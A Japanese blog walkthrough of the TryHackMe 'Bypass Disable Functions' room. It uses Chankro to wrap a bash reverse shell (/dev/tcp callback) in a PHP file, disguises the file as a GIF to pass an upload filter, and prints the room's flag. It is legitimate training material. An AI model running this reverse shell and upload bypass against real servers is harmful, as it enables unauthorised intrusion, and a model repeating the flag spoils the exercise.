0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【TryHackMe】Bypass Disable Functions:Walkthrough

0
Posted at

概要

TryHackMe「Bypass Disable Functions」のWalkthroughです。

Task2

Q1.Compromise the machine and locate the flag.txt

ポートスキャンを実行します。

$ nmap -Pn -sCV -T4 -p- 10.49.143.107 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1f:97:54:30:24:74:f2:fa:15:ed:f3:35:84:dc:6c:d0 (RSA)
|   256 a7:21:78:6d:a6:05:7e:5a:0f:7e:53:65:0a:c4:53:49 (ECDSA)
|_  256 57:1c:22:ac:59:69:62:cb:94:bd:e9:9f:67:68:23:c9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Ecorp - Jobs

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 7.2p2
80 http Apache/2.4.38

80番ポートにアクセスします。

image.png

ディレクトリスキャンをします。

$ dirsearch -u http://10.49.143.107
[04:32:49] 200 -   21KB - /phpinfo.php
[04:33:07] 200 -  406B  - /uploads/

/phpinfo.phpにアクセスします。
disable_functionsを確認すると、execやshell_execなどの関数が使えないようになっています。

image.png

/cv.phpにアクセスすると、ファイルアップロード機能があります。

image.png

アップロードしたファイルは、/uplodas/から確認できます。

image.png

攻撃にはChankroというツールを使用します。

まず対象システムのアーキテクチャ情報を確認します。

image.png

次にドキュメントルートパスを確認します。

image.png

最後に実行するシェルファイルを作成します。

shell.sh           
#!/bin/bash

bash -c "bash -i >& /dev/tcp/192.168.136.131/1234 0>&1"

ツールを実行しPHPファイルを作成します。

$ python2 chankro.py --arch 64 --input shell.sh --output tryhackme.php --path /var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db


     -=[ Chankro ]=-
    -={ @TheXC3LL }=-


[+] Binary file: shell.sh
[+] Architecture: x64
[+] Final PHP: tryhackme.php


[+] File created!

作成したPHPをアップロードしたところ、画像ファイルではないので拒否されました。

image.png

PHPファイルの先頭に、GIFのマジックナンバーGIF89a;を追記します。

tryhackme.php
GIF89a;
<?php
 $hook = 'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAA4

これによりGIFファイルだと誤認させる事が出来ます。

$ file tryhackme.php                  
tryhackme.php: GIF image data, version 89a, 2619 x 16188

これでPHPファイルのアップロードに成功しました。

image.png

/uploadsにPHPファイルがあることを確認します。

image.png

PHPファイルを実行すると、リバースシェルを張れました。

$ nc -lnvp 1234                                      
listening on [any] 1234 ...
connect to [192.168.136.131] from (UNKNOWN) [10.49.143.107] 52124
bash: cannot set terminal process group (748): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

フラグを入手できました。

www-data@ubuntu:/var/www/html/fa5fba5f5a39d27d8bb7fe5f518e00db$ cat /home/s4vi/flag.txt
<ml/fa5fba5f5a39d27d8bb7fe5f518e00db$ cat /home/s4vi/flag.txt                
thm{bypass_d1sable_functions_1n_php}

A.thm{bypass_d1sable_functions_1n_php}

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?